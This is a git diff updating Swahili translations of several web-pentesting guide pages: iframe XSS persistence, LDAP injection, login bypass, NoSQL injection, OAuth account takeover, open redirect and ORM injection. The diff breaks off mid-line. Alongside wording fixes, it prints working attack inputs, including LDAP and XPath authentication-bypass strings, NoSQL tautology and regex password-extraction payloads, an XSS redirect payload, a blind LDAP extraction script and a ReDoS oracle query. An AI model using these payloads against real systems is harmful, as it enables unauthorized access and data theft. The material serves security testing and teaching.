https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png

-Zaidi ya hayo, inawezekana kutumia wasikilizaji kuiba taarifa nyeti, si tu kurasa nyingine ambazo mwathirika anatembelea, bali pia data inayotumika ku **jaza fomu** na kuzipeleka (akili?) au **kuiba hifadhi ya ndani**... +Zaidi ya hayo, inawezekana kutumia wasikilizaji kuiba taarifa nyeti, si tu kurasa nyingine ambazo waathirika wanatembelea, bali pia data inayotumika ku **jaza fomu** na kuzipeleka (akidi?) au **kuiba hifadhi ya ndani**... -Kwa kweli, vizuizi vikuu ni kwamba **mwathirika akifunga tab au kuweka URL nyingine kwenye kivinjari atakimbia iframe**. Njia nyingine ya kufanya hivi ingekuwa **kufanya upya ukurasa**, hata hivyo, hii inaweza kuzuia kwa sehemu **kwa kuzima menyu ya muktadha ya kubofya kulia kila wakati ukurasa mpya unapopakuliwa ndani ya iframe au kugundua wakati panya ya mtumiaji inatoka kwenye iframe, labda kubofya kitufe cha upya cha kivinjari na katika kesi hii URL ya kivinjari inasasishwa na URL ya asili iliyo hatarini kwa XSS hivyo ikiwa mtumiaji atafanya upya, itakuwa na sumu tena (kumbuka kwamba hii si ya siri sana). +Kwa kweli, vizuizi vikuu ni kwamba **waathirika kufunga tab au kuweka URL nyingine kwenye kivinjari kutakwepa iframe**. Njia nyingine ya kufanya hivi ingekuwa **kufanya upya ukurasa**, hata hivyo, hii inaweza kuzuia kwa sehemu **kwa kuzima menyu ya muktadha ya kubofya kulia kila wakati ukurasa mpya unapopakiwa ndani ya iframe au kugundua wakati panya ya mtumiaji inatoka kwenye iframe, labda kubofya kitufe cha upya cha kivinjari na katika kesi hii URL ya kivinjari inasasishwa na URL ya asili iliyo hatarini kwa XSS hivyo ikiwa mtumiaji atafanya upya, itakuwa imechafuliwa tena (kumbuka kwamba hii si ya siri sana). {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ldap-injection.md b/src/pentesting-web/ldap-injection.md index e6b80f212..37688f433 100644 --- a/src/pentesting-web/ldap-injection.md +++ b/src/pentesting-web/ldap-injection.md @@ -4,6 +4,7 @@ {{#include ../banners/hacktricks-training.md}} + ## LDAP Injection ### **LDAP** @@ -14,7 +15,7 @@ ../network-services-pentesting/pentesting-ldap.md {{#endref}} -**LDAP Injection** ni shambulio linalolenga programu za wavuti ambazo zinaunda taarifa za LDAP kutoka kwa pembejeo za mtumiaji. Hii inatokea wakati programu **inashindwa kusafisha** pembejeo ipasavyo, ikiruhusu washambuliaji **kubadilisha taarifa za LDAP** kupitia proxy ya ndani, ambayo inaweza kusababisha ufikiaji usioidhinishwa au urekebishaji wa data. +**LDAP Injection** ni shambulio linalolenga programu za wavuti ambazo zinaunda taarifa za LDAP kutoka kwa pembejeo za mtumiaji. Hii hutokea wakati programu **inashindwa kusafisha** pembejeo ipasavyo, ikiruhusu washambuliaji **kubadilisha taarifa za LDAP** kupitia proxy ya ndani, ambayo inaweza kusababisha ufikiaji usioidhinishwa au urekebishaji wa data. {% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %} @@ -42,7 +43,7 @@ Unaweza kufikia hifadhidata, na hii inaweza kuwa na taarifa za aina nyingi tofau **OpenLDAP**: Ikiwa vichujio 2 vinakuja, inatekeleza tu cha kwanza.\ **ADAM au Microsoft LDS**: Kwa vichujio 2 wanatoa kosa.\ -**SunOne Directory Server 5.0**: Tekeleza vichujio vyote viwili. +**SunOne Directory Server 5.0**: Inatekeleza vichujio vyote viwili. **Ni muhimu sana kutuma kichujio chenye sintaksia sahihi au kosa litatokea. Ni bora kutuma kichujio kimoja tu.** @@ -56,7 +57,7 @@ Kisha: `(&(objectClass=`**`*)(ObjectClass=*))`** itakuwa kichujio cha kwanza (ki ### Login Bypass -LDAP inasaidia muundo kadhaa kuhifadhi nywila: wazi, md5, smd5, sh1, sha, crypt. Hivyo, inaweza kuwa kwamba bila kujali kile unachoweka ndani ya nywila, inahifadhiwa. +LDAP inasaidia muundo kadhaa kuhifadhi nywila: wazi, md5, smd5, sh1, sha, crypt. Hivyo, inaweza kuwa kwamba bila kujali kile unachoweka ndani ya nywila, inahashwa. ```bash user=* password=* @@ -119,7 +120,7 @@ password=any ### Blind LDAP Injection -Unaweza kulazimisha majibu ya False au True ili kuangalia kama kuna data yoyote inayorejeshwa na kuthibitisha uwezekano wa Blind LDAP Injection: +Unaweza kulazimisha majibu ya False au True ili kuangalia kama data yoyote inarudi na kuthibitisha uwezekano wa Blind LDAP Injection: ```bash #This will result on True, so some information will be shown Payload: *)(objectClass=*))(&objectClass=void @@ -180,7 +181,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v finish = True print() ``` -#### **Mchakato wa Kipekee wa Blind LDAP Injection (bila "\*")** +#### **Mchakato Maalum wa Blind LDAP Injection (bila "\*")** ```python #!/usr/bin/python3 diff --git a/src/pentesting-web/login-bypass/README.md b/src/pentesting-web/login-bypass/README.md index cc3df8e1a..19e2e45fd 100644 --- a/src/pentesting-web/login-bypass/README.md +++ b/src/pentesting-web/login-bypass/README.md @@ -10,7 +10,7 @@ Ikiwa unapata ukurasa wa kuingia, hapa unaweza kupata mbinu za kujaribu kupita: - Angalia ikiwa unaweza **kufikia moja kwa moja kurasa zilizozuiliwa** - Angalia **usitume vigezo** (usitume yoyote au moja tu) - Angalia **makosa ya kulinganisha ya PHP:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b` -- **Badilisha aina ya maudhui kuwa json** na tuma thamani za json (bool true ikijumuishwa) +- **Badilisha aina ya maudhui kuwa json** na utume thamani za json (bool true ikijumuishwa) - Ikiwa unapata jibu linalosema kwamba POST hait supported unaweza kujaribu kutuma **JSON katika mwili lakini kwa ombi la GET** na `Content-Type: application/json` - Angalia makosa ya uwezekano wa parsing ya nodejs (soma [**hii**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1` - Nodejs itabadilisha payload hiyo kuwa query inayofanana na ifuatayo: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` ambayo inafanya sehemu ya password kuwa daima kweli. @@ -21,11 +21,11 @@ Ikiwa unapata ukurasa wa kuingia, hapa unaweza kupata mbinu za kujaribu kupita: - [**Credentials za kawaida**](../../generic-hacking/brute-force.md#default-credentials) za teknolojia/jukwaa lililotumika - **Mchanganyiko wa kawaida** (root, admin, password, jina la teknolojia, mtumiaji wa kawaida na moja ya hizi passwords). - Unda kamusi ukitumia **Cewl**, **ongeza** jina la mtumiaji na password **za kawaida** (ikiwa zipo) na jaribu kujaribu nguvu kutumia maneno yote kama **majina ya watumiaji na password** -- **Jaribu nguvu** ukitumia kamusi kubwa **(**[**Jaribu nguvu**](../../generic-hacking/brute-force.md#http-post-form)**)** +- **Jaribu nguvu** ukitumia kamusi kubwa **(**[**Brute force**](../../generic-hacking/brute-force.md#http-post-form)**)** ### SQL Injection authentication bypass -[Hapa unaweza kupata hila kadhaa za kupita kuingia kupitia **SQL injections**](../sql-injection/#authentication-bypass). +[Hapa unaweza kupata mbinu kadhaa za kupita kuingia kupitia **SQL injections**](../sql-injection/#authentication-bypass). Katika ukurasa ufuatao unaweza kupata **orodha maalum ya kujaribu kupita kuingia** kupitia SQL Injections: @@ -35,13 +35,13 @@ sql-login-bypass.md ### No SQL Injection authentication bypass -[Hapa unaweza kupata hila kadhaa za kupita kuingia kupitia **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.** +[Hapa unaweza kupata mbinu kadhaa za kupita kuingia kupitia **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.** Kama NoSQL Injections inahitaji kubadilisha thamani za vigezo, utahitaji kujaribu kwa mikono. ### XPath Injection authentication bypass -[Hapa unaweza kupata hila kadhaa za kupita kuingia kupitia **XPath Injection.**](../xpath-injection.md#authentication-bypass) +[Hapa unaweza kupata mbinu kadhaa za kupita kuingia kupitia **XPath Injection.**](../xpath-injection.md#authentication-bypass) ``` ' or '1'='1 ' or ''=' @@ -73,9 +73,9 @@ admin)(!(&(| pwd)) admin))(|(| ``` -### Kumbuka Neni +### Kumbuka Mimi -Ikiwa ukurasa una kazi ya "**Kumbuka Neni**" angalia jinsi inavyotekelezwa na uone kama unaweza kuitumia vibaya ili **kuchukua akaunti nyingine**. +Ikiwa ukurasa una kazi ya "**Kumbuka Mimi**" angalia jinsi inavyotekelezwa na uone kama unaweza kuitumia vibaya ili **kuchukua akaunti nyingine**. ### Mwelekeo diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md index 06b1ae4a4..3726eb6b2 100644 --- a/src/pentesting-web/nosql-injection.md +++ b/src/pentesting-web/nosql-injection.md @@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true ```javascript query = { $where: `this.username == '${username}'` } ``` -Mshambuliaji anaweza kutumia hili kwa kuingiza nyuzi kama `admin' || 'a'=='a`, na kufanya uchunguzi urudishe hati zote kwa kutimiza hali hiyo kwa tautology (`'a'=='a'`). Hii ni sawa na mashambulizi ya SQL injection ambapo ingizo kama `' or 1=1-- -` zinatumika kubadilisha maswali ya SQL. Katika MongoDB, sindano zinazofanana zinaweza kufanywa kwa kutumia ingizo kama `' || 1==1//`, `' || 1==1%00`, au `admin' || 'a'=='a`. +Mshambuliaji anaweza kutumia hii kwa kuingiza nyuzi kama `admin' || 'a'=='a`, na kufanya uchunguzi urudishe hati zote kwa kuridhisha hali hiyo kwa tautology (`'a'=='a'`). Hii ni sawa na mashambulizi ya SQL injection ambapo ingizo kama `' or 1=1-- -` zinatumika kubadilisha maswali ya SQL. Katika MongoDB, sindano zinazofanana zinaweza kufanywa kwa kutumia ingizo kama `' || 1==1//`, `' || 1==1%00`, au `admin' || 'a'=='a`. ``` Normal sql: ' or 1=1-- - Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a @@ -76,7 +76,7 @@ in JSON ... /?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found ``` -### PHP Utekelezaji wa Kazi za Kijichaguliwa +### PHP Utekelezaji wa Kazi za Kijazaji Kwa kutumia opereta **$func** wa maktaba ya [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (iliyotumika kwa chaguo-msingi) inaweza kuwa inawezekana kutekeleza kazi yoyote kama ilivyo katika [ripoti hii](https://swarm.ptsecurity.com/rce-cockpit-cms/). ```python @@ -88,7 +88,7 @@ Kwa kutumia opereta **$func** wa maktaba ya [MongoLite](https://github.com/agent Inawezekana kutumia [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) kupata taarifa kutoka kwa mkusanyiko tofauti. Katika mfano ufuatao, tunasoma kutoka kwa **mkusanyiko tofauti** unaoitwa **`users`** na kupata **matokeo ya kila ingizo** lenye nenosiri linalolingana na wildcard. -**NOTE:** `$lookup` na kazi nyingine za kuunganisha zinapatikana tu ikiwa kazi ya `aggregate()` ilitumika kufanya utafutaji badala ya kazi za kawaida zaidi za `find()` au `findOne()`. +**NOTE:** `$lookup` na kazi nyingine za kuunganisha zinapatikana tu ikiwa kazi ya `aggregate()` ilitumika kufanya utafutaji badala ya kazi za kawaida za `find()` au `findOne()`. ```json [ { diff --git a/src/pentesting-web/oauth-to-account-takeover.md b/src/pentesting-web/oauth-to-account-takeover.md index ad05f9c75..17bad2d80 100644 --- a/src/pentesting-web/oauth-to-account-takeover.md +++ b/src/pentesting-web/oauth-to-account-takeover.md @@ -7,13 +7,13 @@ OAuth inatoa toleo mbalimbali, huku maarifa ya msingi yanapatikana katika [OAuth 2.0 documentation](https://oauth.net/2/). Majadiliano haya yanazingatia hasa [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/), ikitoa **mfumo wa idhini unaowezesha programu kufikia au kufanya vitendo kwenye akaunti ya mtumiaji katika programu nyingine** (seva ya idhini). -Fikiria tovuti ya kufikirika _**https://example.com**_, iliyoundwa ili **kuonyesha machapisho yako yote ya mitandao ya kijamii**, ikiwa ni pamoja na ya faragha. Ili kufanikisha hili, OAuth 2.0 inatumika. _https://example.com_ itahitaji ruhusa yako ili **kufikia machapisho yako ya mitandao ya kijamii**. Kwa hivyo, skrini ya idhini itaonekana kwenye _https://socialmedia.com_, ikielezea **ruhusa zinazohitajika na mtengenezaji anayefanya ombi**. Baada ya idhini yako, _https://example.com_ inapata uwezo wa **kufikia machapisho yako kwa niaba yako**. +Fikiria tovuti ya mfano _**https://example.com**_, iliyoundwa ili **kuonyesha machapisho yako yote ya mitandao ya kijamii**, ikiwa ni pamoja na ya faragha. Ili kufanikisha hili, OAuth 2.0 inatumika. _https://example.com_ itahitaji ruhusa yako ili **kufikia machapisho yako ya mitandao ya kijamii**. Kwa hivyo, skrini ya idhini itaonekana kwenye _https://socialmedia.com_, ikielezea **ruhusa zinazohitajika na mtengenezaji anayefanya ombi**. Baada ya idhini yako, _https://example.com_ inapata uwezo wa **kufikia machapisho yako kwa niaba yako**. Ni muhimu kuelewa vipengele vifuatavyo ndani ya mfumo wa OAuth 2.0: - **resource owner**: Wewe, kama **mtumiaji/kitengo**, unaruhusu ufikiaji wa rasilimali yako, kama vile machapisho ya akaunti yako ya mitandao ya kijamii. - **resource server**: **seva inayosimamia maombi yaliyothibitishwa** baada ya programu kupata `access token` kwa niaba ya `resource owner`, e.g., **https://socialmedia.com**. -- **client application**: **programu inayotafuta idhini** kutoka kwa `resource owner`, kama vile **https://example.com**. +- **client application**: **programu inayotafuta idhini** kutoka kwa `resource owner`, kama **https://example.com**. - **authorization server**: **seva inayotoa `access tokens`** kwa `client application` baada ya uthibitisho wa mafanikio wa `resource owner` na kupata idhini, e.g., **https://socialmedia.com**. - **client_id**: Kitambulisho cha umma, cha kipekee kwa programu. - **client_secret:** Funguo ya siri, inayojulikana pekee kwa programu na seva ya idhini, inayotumika kwa ajili ya kuzalisha `access_tokens`. @@ -59,15 +59,15 @@ Host: socialmedia.com `redirect_uri` ni muhimu kwa usalama katika utekelezaji wa OAuth na OpenID, kwani inaelekeza mahali ambapo data nyeti, kama vile nambari za idhini, zinatumwa baada ya idhini. Ikiwa imewekwa vibaya, inaweza kuruhusu washambuliaji kuelekeza maombi haya kwa seva mbaya, na kuwezesha kuchukuliwa kwa akaunti. -Mbinu za unyakuzi zinatofautiana kulingana na mantiki ya uthibitishaji ya seva ya idhini. Zinweza kutofautiana kutoka kwa mechi kali ya njia hadi kukubali URL yoyote ndani ya eneo lililotajwa au saraka ndogo. Mbinu za kawaida za unyakuzi ni pamoja na redirects wazi, kupita njia, kutumia regex dhaifu, na kuingiza HTML kwa wizi wa token. +Mbinu za unyakuzi zinatofautiana kulingana na mantiki ya uthibitisho wa seva. Zinweza kutofautiana kutoka kwa mechi kali ya njia hadi kukubali URL yoyote ndani ya eneo lililotajwa au saraka ndogo. Mbinu za kawaida za unyakuzi ni pamoja na redirects wazi, kupita njia, kutumia regex dhaifu, na kuingiza HTML kwa ajili ya wizi wa token. -Mbali na `redirect_uri`, vigezo vingine vya OAuth na OpenID kama `client_uri`, `policy_uri`, `tos_uri`, na `initiate_login_uri` pia vinahatarishwa kwa mashambulizi ya kuelekeza. Vigezo hivi ni hiari na msaada wao unatofautiana kati ya seva. +Mbali na `redirect_uri`, vigezo vingine vya OAuth na OpenID kama `client_uri`, `policy_uri`, `tos_uri`, na `initiate_login_uri` pia vinaweza kuathiriwa na mashambulizi ya kuelekeza. Vigezo hivi ni hiari na msaada wao unatofautiana kati ya seva. -Kwa wale wanaolenga seva ya OpenID, kiunganishi cha ugunduzi (`**.well-known/openid-configuration**`) mara nyingi huorodhesha maelezo muhimu ya usanidi kama vile `registration_endpoint`, `request_uri_parameter_supported`, na "`require_request_uri_registration`. Maelezo haya yanaweza kusaidia katika kubaini kiunganishi cha usajili na maelezo mengine ya usanidi ya seva. +Kwa wale wanaolenga seva ya OpenID, mwisho wa ugunduzi (`**.well-known/openid-configuration**`) mara nyingi huorodhesha maelezo muhimu ya usanidi kama vile `registration_endpoint`, `request_uri_parameter_supported`, na "`require_request_uri_registration`. Maelezo haya yanaweza kusaidia katika kubaini mwisho wa usajili na maelezo mengine ya usanidi wa seva. ### XSS katika utekelezaji wa kuelekeza -Kama ilivyotajwa katika ripoti hii ya bug bounty [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) inaweza kuwa inawezekana kwamba **URL ya kuelekeza inajitokeza katika jibu** la seva baada ya mtumiaji kuthibitisha, ikiwa **hatarini kwa XSS**. Payload inay posible kujaribu: +Kama ilivyotajwa katika ripoti hii ya bug bounty [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) inaweza kuwa inawezekana kwamba **URL ya kuelekeza inajitokeza katika jibu** la seva baada ya mtumiaji kuthibitisha, ikiwa **inaweza kuathiriwa na XSS**. Payload inayowezekana ya kujaribu: ``` https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard

test

``` @@ -75,11 +75,11 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard @@ -92,9 +92,9 @@ Kutambua na kulinda vigezo vya siri vya OAuth ni muhimu. Ingawa **`client_id`** Udhaifu wa kawaida unatokea wakati programu zinashughulikia kwa makosa kubadilishana `code` ya uthibitisho kwa `access_token` upande wa mteja badala ya upande wa seva. Makosa haya yanapelekea kufichuliwa kwa **`client_secret`**, ikiruhusu washambuliaji kuunda `access_tokens` chini ya kivuli cha programu. Zaidi ya hayo, kupitia uhandisi wa kijamii, washambuliaji wanaweza kuongeza mamlaka kwa kuongeza maeneo mengine kwenye uthibitisho wa OAuth, wakitumia hali ya kuaminika ya programu. -### Bruteforce ya Siri ya Mteja +### Mshindo wa Siri ya Mteja -Unaweza kujaribu **bruteforce client_secret** ya mtoa huduma na mtoa kitambulisho ili kujaribu kuiba akaunti.\ +Unaweza kujaribu **kushinda siri ya mteja** ya mtoa huduma na mtoa kitambulisho ili kujaribu kuiba akaunti.\ Ombi la BF linaweza kuonekana kama: ``` POST /token HTTP/1.1 @@ -111,7 +111,7 @@ Mara tu mteja ana **code na state**, ikiwa inatolewa ndani ya **Referer header** ### Access Token Stored in Browser History -Nenda kwenye **historia ya kivinjari na angalia kama access token imehifadhiwa huko**. +Nenda kwenye **historia ya kivinjari na angalia kama access token imehifadhiwa humo**. ### Everlasting Authorization Code @@ -150,18 +150,18 @@ Kwa maelezo ya kina zaidi kuhusu jinsi ya kutumia AWS cognito angalia: ### Kutumia token za Apps nyingine -Kama [**ilivyotajwa katika andiko hili**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), mchakato wa OAuth unaotarajia kupokea **token** (na si nambari) unaweza kuwa na hatari ikiwa hawakagui kwamba token inamhusisha na programu. +Kama [**ilivyotajwa katika andiko hili**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), mchakato wa OAuth unaotarajia kupokea **token** (na si nambari) unaweza kuwa na hatari ikiwa hawakagui kwamba token inamhusu app. Hii ni kwa sababu **mshambuliaji** anaweza kuunda **programu inayounga mkono OAuth na kuingia na Facebook** (kwa mfano) katika programu yake mwenyewe. Kisha, mara tu mwathirika anapoingia na Facebook katika **programu ya mshambuliaji**, mshambuliaji anaweza kupata **token ya OAuth ya mtumiaji iliyotolewa kwa programu yake, na kuitumia kuingia katika programu ya OAuth ya mwathirika kwa kutumia token ya mtumiaji wa mwathirika**. > [!CAUTION] -> Hivyo, ikiwa mshambuliaji atafanikiwa kumfanya mtumiaji aingie katika programu yake ya OAuth, ataweza kuchukua akaunti ya mwathirika katika programu zinazotarajia token na hazikagui ikiwa token hiyo ilitolewa kwa ID ya programu yao. +> Hivyo, ikiwa mshambuliaji atafanikiwa kumfanya mtumiaji aingie katika programu yake ya OAuth, ataweza kuchukua akaunti ya mwathirika katika programu zinazotarajia token na hazikagui ikiwa token ilitolewa kwa ID ya programu yao. ### Viungo viwili & cookie -Kulingana na [**andiko hili**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ilikuwa inawezekana kumfanya mwathirika afungue ukurasa wenye **returnUrl** unaoelekeza kwenye mwenyeji wa mshambuliaji. Habari hii ingehifadhiwa katika **cookie (RU)** na katika **hatua ya baadaye** **prompt** itakuwa **inauliza** **mtumiaji** ikiwa anataka kutoa ufikiaji kwa mwenyeji wa mshambuliaji. +Kulingana na [**andiko hili**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ilikuwa inawezekana kumfanya mwathirika afungue ukurasa wenye **returnUrl** unaoelekeza kwenye mwenyeji wa mshambuliaji. Habari hii ingekuwa **imehifadhiwa katika cookie (RU)** na katika **hatua ya baadaye** **prompt** itakuwa **inauliza** **mtumiaji** ikiwa anataka kutoa ufikiaji kwa mwenyeji wa mshambuliaji. -Ili kupita prompt hii, ilikuwa inawezekana kufungua tab ili kuanzisha **Oauth flow** ambayo ingekamilisha cookie hii ya RU kwa kutumia **returnUrl**, kufunga tab kabla ya prompt kuonyeshwa, na kufungua tab mpya bila thamani hiyo. Kisha, **prompt haitatoa taarifa kuhusu mwenyeji wa mshambuliaji**, lakini cookie itakuwa imewekwa kwake, hivyo **token itatumwa kwa mwenyeji wa mshambuliaji** katika uelekezaji. +Ili kupita prompt hii, ilikuwa inawezekana kufungua tab ili kuanzisha **Oauth flow** ambayo ingeiweka cookie hii ya RU kwa kutumia **returnUrl**, kufunga tab kabla ya prompt kuonyeshwa, na kufungua tab mpya bila thamani hiyo. Kisha, **prompt haitatoa taarifa kuhusu mwenyeji wa mshambuliaji**, lakini cookie itakuwa imewekwa kwake, hivyo **token itatumwa kwa mwenyeji wa mshambuliaji** katika uelekezaji. ### Kupita Mwingiliano wa Prompt @@ -182,37 +182,37 @@ Kulingana na [**andiko hili**](https://cybxis.medium.com/a-bypass-on-gitlabs-log ### ATO kwenye ukurasa wa wavuti unaoelekeza kulingana na uelekezaji wazi kwa referrer -Hii [**blogpost**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) inaelezea jinsi ilivyowezekana kutumia **upelelezi wazi** kwa thamani kutoka kwa **referrer** ili kutumia OAuth kwa ATO. Shambulio lilikuwa: +Hii [**blogpost**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) inaelezea jinsi ilivyowezekana kutumia **upelelezi wazi** kwa thamani kutoka kwa **referrer** kutumia OAuth kwa ATO. Shambulio lilikuwa: 1. Mwathirika anafikia ukurasa wa wavuti wa mshambuliaji 2. Mwathirika anafungua kiungo kibaya na opener inaanzisha mchakato wa Google OAuth na `response_type=id_token,code&prompt=none` kama vigezo vya ziada kwa kutumia kama **referrer tovuti ya mshambuliaji**. -3. Katika opener, baada ya mtoa huduma kumruhusu mwathirika, inawapelekea nyuma kwa thamani ya parameter ya `redirect_uri` (wavuti ya mwathirika) kwa nambari ya 30X ambayo bado inashikilia tovuti ya mshambuliaji katika referrer. +3. Katika opener, baada ya mtoa huduma kumthibitisha mwathirika, inawapelekea nyuma kwa thamani ya parameter ya `redirect_uri` (wavuti ya mwathirika) kwa nambari ya 30X ambayo bado inashikilia tovuti ya mshambuliaji katika referrer. 4. Tovuti ya mwathirika **inasababisha uelekezaji wazi kulingana na referrer** ikielekeza mtumiaji wa mwathirika kwenye tovuti ya mshambuliaji, kwani **`respose_type`** ilikuwa **`id_token,code`**, nambari itarudishwa kwa mshambuliaji katika **fragment** ya URL ikimruhusu kuchukua akaunti ya mtumiaji kupitia Google kwenye tovuti ya mwathirika. ### SSRFs parameters [**Angalia utafiti huu**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Kwa maelezo zaidi ya mbinu hii.** -Usajili wa Wateja wa Kijivu katika OAuth unatumika kama njia isiyo wazi lakini muhimu kwa udhaifu wa usalama, haswa kwa mashambulizi ya **Server-Side Request Forgery (SSRF)**. Endpoint hii inaruhusu seva za OAuth kupokea maelezo kuhusu programu za wateja, ikiwa ni pamoja na URLs nyeti ambazo zinaweza kutumika vibaya. +Usajili wa Wateja wa Kijadi katika OAuth unatumika kama njia isiyo wazi lakini muhimu kwa udhaifu wa usalama, haswa kwa mashambulizi ya **Server-Side Request Forgery (SSRF)**. Endpoint hii inaruhusu seva za OAuth kupokea maelezo kuhusu programu za wateja, ikiwa ni pamoja na URLs nyeti ambazo zinaweza kutumika vibaya. **Mambo Muhimu:** -- **Usajili wa Wateja wa Kijivu** mara nyingi unahusishwa na `/register` na unakubali maelezo kama `client_name`, `client_secret`, `redirect_uris`, na URLs za alama au JSON Web Key Sets (JWKs) kupitia maombi ya POST. -- Kipengele hiki kinazingatia viwango vilivyowekwa katika **RFC7591** na **Usajili wa OpenID Connect 1.0**, ambavyo vinajumuisha vigezo ambavyo vinaweza kuwa na hatari kwa SSRF. -- Mchakato wa usajili unaweza kwa bahati mbaya kufichua seva kwa SSRF kwa njia kadhaa: +- **Usajili wa Wateja wa Kijadi** mara nyingi unahusishwa na `/register` na unakubali maelezo kama `client_name`, `client_secret`, `redirect_uris`, na URLs za alama au JSON Web Key Sets (JWKs) kupitia maombi ya POST. +- Kipengele hiki kinazingatia viwango vilivyowekwa katika **RFC7591** na **OpenID Connect Registration 1.0**, ambavyo vinajumuisha vigezo ambavyo vinaweza kuwa na hatari kwa SSRF. +- Mchakato wa usajili unaweza bila kukusudia kufichua seva kwa SSRF kwa njia kadhaa: - **`logo_uri`**: URL ya alama ya programu ya mteja ambayo inaweza kupatikana na seva, ikisababisha SSRF au kupelekea XSS ikiwa URL itashughulikiwa vibaya. - **`jwks_uri`**: URL ya hati ya JWK ya mteja, ambayo ikiwa imeundwa kwa njia mbaya, inaweza kusababisha seva kufanya maombi ya nje kwa seva inayodhibitiwa na mshambuliaji. - **`sector_identifier_uri`**: Inarejelea orodha ya JSON ya `redirect_uris`, ambayo seva inaweza kupakua, ikisababisha fursa ya SSRF. -- **`request_uris`**: Inataja URIs za maombi zinazoruhusiwa kwa mteja, ambazo zinaweza kutumika vibaya ikiwa seva itachukua URIs hizi mwanzoni mwa mchakato wa uthibitishaji. +- **`request_uris`**: Inataja URIs za maombi zinazoruhusiwa kwa mteja, ambazo zinaweza kutumika vibaya ikiwa seva itazipakua mwanzoni mwa mchakato wa uthibitishaji. **Mkakati wa Kutumia:** -- SSRF inaweza kuchochewa kwa kujiandikisha mteja mpya na URLs mbaya katika vigezo kama `logo_uri`, `jwks_uri`, au `sector_identifier_uri`. +- SSRF inaweza kusababishwa kwa kujiandikisha mteja mpya na URLs mbaya katika vigezo kama `logo_uri`, `jwks_uri`, au `sector_identifier_uri`. - Ingawa matumizi ya moja kwa moja kupitia `request_uris` yanaweza kupunguziliwa mbali na udhibiti wa orodha ya ruhusa, kutoa `request_uri` iliyosajiliwa awali, inayodhibitiwa na mshambuliaji kunaweza kuwezesha SSRF wakati wa hatua ya uthibitishaji. -## Masharti ya Mshindani wa OAuth +## Mipangilio ya Watoa huduma wa OAuth -Ikiwa jukwaa unalojaribu ni mtoa huduma wa OAuth [**soma hii ili kujaribu uwezekano wa Masharti ya Mshindani**](race-condition.md). +Ikiwa jukwaa unalojaribu ni mtoa huduma wa OAuth [**soma hii ili kujaribu uwezekano wa Mipangilio ya Mbio**](race-condition.md). ## Marejeleo diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md index 7407c7110..ff655f8df 100644 --- a/src/pentesting-web/open-redirect.md +++ b/src/pentesting-web/open-redirect.md @@ -67,7 +67,7 @@ xmlns="http://www.w3.org/2000/svg"> ``` -## Vigezo vya kawaida vya kuingiza +## Vigezo vya kawaida vya sindano ``` /{payload} ?next={payload} diff --git a/src/pentesting-web/orm-injection.md b/src/pentesting-web/orm-injection.md index b7df0b872..24cbc767f 100644 --- a/src/pentesting-web/orm-injection.md +++ b/src/pentesting-web/orm-injection.md @@ -65,9 +65,9 @@ created_by__user__user_permissions__user__password Article.objects.filter(is_secret=False, categories__articles__id=2) ``` > [!CAUTION] -> Kutumia uhusiano vibaya inawezekana kupita hata filters zilizokusudiwa kulinda data inayonyeshwa. +> Kutumia uhusiano kunawezekana kupita hata filters zilizokusudiwa kulinda data inayonyeshwa. -- **Error/Time based via ReDoS**: Katika mifano ya awali ilitarajiwa kuwa na majibu tofauti ikiwa filtering ilifanya kazi au la ili kuitumia kama oracle. Lakini inaweza kuwa inawezekana kwamba hatua fulani inafanywa katika database na jibu kila wakati ni sawa. Katika hali hii inaweza kuwa inawezekana kufanya makosa ya database kupata oracle mpya. +- **Error/Time based via ReDoS**: Katika mifano ya awali ilitarajiwa kuwa na majibu tofauti ikiwa filtering ilifanya kazi au la ili kuitumia kama oracle. Lakini inaweza kuwa inawezekana kwamba hatua fulani inafanywa katika database na jibu kila wakati ni sawa. Katika hali hii inaweza kuwa inawezekana kufanya kosa la database kupata oracle mpya. ```json // Non matching password { @@ -77,13 +77,13 @@ Article.objects.filter(is_secret=False, categories__articles__id=2) // ReDoS matching password (will show some error in the response or check the time) {"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"} ``` -- **SQLite**: Haina operator ya regexp kwa default (inahitaji kupakia nyongeza ya upande wa tatu) -- **PostgreSQL**: Haina muda wa kukatika kwa regex wa default na ina uwezekano mdogo wa kurudi nyuma -- **MariaDB**: Haina muda wa kukatika kwa regex +- **SQLite**: Haina opereta ya regexp kwa msingi (inahitaji kupakia nyongeza ya upande wa tatu) +- **PostgreSQL**: Haina muda wa kukatika wa regex wa msingi na ina 